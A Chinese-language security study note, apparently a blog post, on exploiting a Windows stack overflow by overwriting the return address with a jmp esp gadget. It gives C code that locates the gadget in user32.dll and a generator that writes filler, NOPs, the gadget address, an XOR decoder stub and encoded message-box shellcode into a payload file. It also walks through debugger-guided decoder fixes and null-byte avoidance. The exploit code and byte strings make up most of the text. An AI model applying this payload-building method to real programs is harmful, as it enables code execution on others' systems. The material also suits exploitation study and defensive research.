Windows Shellcode学习笔记——栈溢出中对jmp esp的利用与优化
0x00 前言
在《Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化》中对栈溢出的利用做了介绍。通过将返回地址覆盖为shellcode在内存中的起始地址,实现对栈溢出的利用
但是shellcode在内存中的起始地址往往不固定,导致漏洞利用不一定成功,本文将通过jmp esp的方式来解决这个问题
0x01 简介
函数代码在栈中保存顺序(直观理解,已省略其他细节):
- buffer
- 前栈帧EBP
- 返回地址
- ESP
ESP寄存器总是指向返回地址的下一地址
如果用jmp esp覆盖返回地址,那么在函数返回后会执行jmp esp,跳到esp,也就是返回地址的下一地址开始执行
因此,将shellcode放于返回地址之后,并将返回地址覆盖为jmp esp,就可以避免shellcode在内存中产生的移位问题
本文将要介绍使用jmp esp的具体细节,并分享如何优化我们自己生成的弹框实例shellcode,实现jmp esp利用,编写程序自动实现,解决shellcode在内存中的起始地址不固定的问题。
弹框实例shellcode下载地址:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
0x01 jmp esp
获得jmp esp的机器码:
可通过搜索各个进程空间来获取,具体原理可参考《0day安全:软件漏洞分析技术》3.2.2节
为便于理解和测试,直接引用《0day安全:软件漏洞分析技术》3.2.2节中的代码,代码如下:
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag=FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error");
return 0;
}
ptr=(BYTE *)handle;
for(position=0;!done_flag;position++)
{
try
{
if(ptr[position]==0xFF &&ptr[position+1]==0xE4)
{
int address=(int)ptr+position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address=(int)ptr+position;
printf("END OF 0x%x\n",address);
done_flag=true;
}
}
return 0;
}
如下图,获得机器码,挑选第一个地址0x77d29353,构建我们的shellcode
初步设想shellcode的结构为:
填充数据(长度44)+偏移长度+jmp esp的机器码+解码器+加密的弹框shellcode+结束字符
具体数据为:
"\x34\x33\x32\x31“*11+"\x90\x90\x90\x90\x90\x90\x90\x90"+"\x53\x93\xD2\x77"+"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的弹框shellcode+\xD5
通过程序自动实现此过程,代码如下:
#include <windows.h>
size_t GetSize(char * szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)
{
unsigned char *p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
int main(int argc, char* argv[])
{
char *szFilePath="c:\\test\\shellcode.bin";
char *szFilePath2="c:\\test\\shellcode2.bin";
unsigned char *BinData = NULL;
size_t size = 0;
BinData = ReadBinaryFile(szFilePath, &size);
for(int i=0;i<size;i++)
{
BinData[i]=BinData[i]^0x44;
}
FILE* f = NULL;
f = fopen(szFilePath2, "wb");
if (f == NULL)
{
printf("Create error\n");
return 0;
}
char filler[]="\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31";
char nop[]="\x90\x90\x90\x90\x90\x90\x90\x90";
char jmpesp[]="\x53\x93\xD2\x77";
char decode[]="\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1";
char end[]="\xD5";
fwrite(filler,sizeof(filler)-1,1,f);
fwrite(nop,sizeof(nop)-1,1,f);
fwrite(jmpesp,sizeof(jmpesp)-1,1,f);
fwrite(decode,sizeof(decode)-1,1,f);
fwrite(BinData,size,1,f);
fwrite(end,1,1,f);
fclose(f);
}
运行后生成shellcode2.bin
由于我们自己生成的这个shellcode长度较长,在测试时需要对原书中的栈溢出程序作修改,否则会报错,例如
if(!(fp=fopen("password.txt","rw+")))
应修改为
if(!(fp=fopen("password2.txt","rb")))
更多细节可参考完整代码,栈溢出测试程序的完整代码已上传至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowExample(jmpesp).cpp
测试栈溢出测试程序
测试环境:
测试系统:Win XP
编译器:VC6.0
build版本: debug版本
测试栈溢出测试程序,发现报错
0x02 shellcode调试与优化
使用OllyDbg调试
关键位置按F2下断点,按F9执行到断点处
如下图,成功覆盖返回地址,数值为0x77d29353
按F8单步执行,跳到JMP ESP,如下图
接着F8单步执行,如下图,此时EDX寄存器不再保存shellcode起始地址,EDX值为0x0012FFE0
,而理论上shellcode起始地址应为0x0012F77C
需要找到一个能保存shellcode起始地址的寄存器或者存在某种偏移关系的寄存器
通过进一步调试,发现整个过程EDI寄存器的值保持不变,为 0X0012F720
,而且shellcode起始地址作了变化,不再是0x0012F77C
如下图,在CALL test2.004011A0下断点,shellcode起始地址由0x0012F77C变为0X0012F6F0
如下图,0x0012F77C已被覆盖,侧面证明shellcode起始地址发生变化
综上,可大胆推测实际shellcode起始地址=EDI-0X000008F0h
解码器实现思路如下:
通过EDI-0X000008F0h
来获得shellcode起始地址,并且保存在寄存器EAX中
对应汇编代码如下:
void main()
{
__asm
{
sub edi,0x8F0
mov eax,edi
add eax,0x28
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44
mov [eax+ecx],bl
inc ecx
cmp bl,0x91
jne decode_loop
}
}
提取出机器码为
"\x81\xEF\xF0\x08\x00\x00\x8B\xC7\x83\xC0\x28\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"
如图
此时又出现\x00字符,实际使用时会被提前截断,所以汇编代码需要作进一步优化:
通过先加后减两步操作,来避免shellcode出现\00字符
注:
先减后加会造成越界
先加后减两步操作如下:
EDI-0X000008F0h=0X0012F720+0X11111111h-0X111119A1h
由于shellcode前面多了填充数据,所以解码器的偏移也要重新计算,偏移=填充数据长度+解码器长度=0x34+0x26=0x5A
对应完整汇编代码如下:
void main()
{
__asm
{
add edi,0X11111111
sub edi,0X111119A1
mov eax,edi
add eax,0x5A
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x44
mov [eax+ecx],bl
inc ecx
cmp bl,0x91
jne decode_loop
}
}
如上图,提取机器码为
"\x81\xC7\x11\x11\x11\x11\x81\xEF\xA1\x19\x11\x11\x8B\xC7\x83\xC0\x5A\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"
如下图,寻址正常,shellcode成功执行
0x03 程序自动实现
将以上代码同获得jmp esp机器码的代码融合,实现自动获取jmp esp的机器码并写入shellcode,完整代码已上传至github:
https://github.com/3gstudent/Shellcode-Generater/blob/master/jmpespshellcode.cpp
注:
通过子函数GetAddress()实现自动寻址,需要先从子函数GetAddress()返回int型数据,再在main函数中通过指针读取jmp esp的机器码
如果顺序颠倒,那么地址无法获取
错误的获取地址代码如下:
unsigned char *GetAddress()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag=FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error");
return 0;
}
ptr=(BYTE *)handle;
for(position=0;!done_flag;position++)
{
try
{
if(ptr[position]==0xFF &&ptr[position+1]==0xE4)
{
int address=(int)ptr+position;
unsigned char *Buff=(unsigned char *)&address;
return Buff;
}
}
catch(...)
{
int address=(int)ptr+position;
printf("END OF 0x%x\n",address);
done_flag=true;
}
}
return 0;
}
unsigned char *jmpesp=NULL;
jmpesp=GetAddress();
0x04 小结
本文介绍了栈溢出中使用jmp esp的利用方法,结合遇到的实际情况对我们自己生成的弹框实例shellcode作优化,选取固定寄存器地址,计算偏移,最终定位shellcode起始地址,完成利用。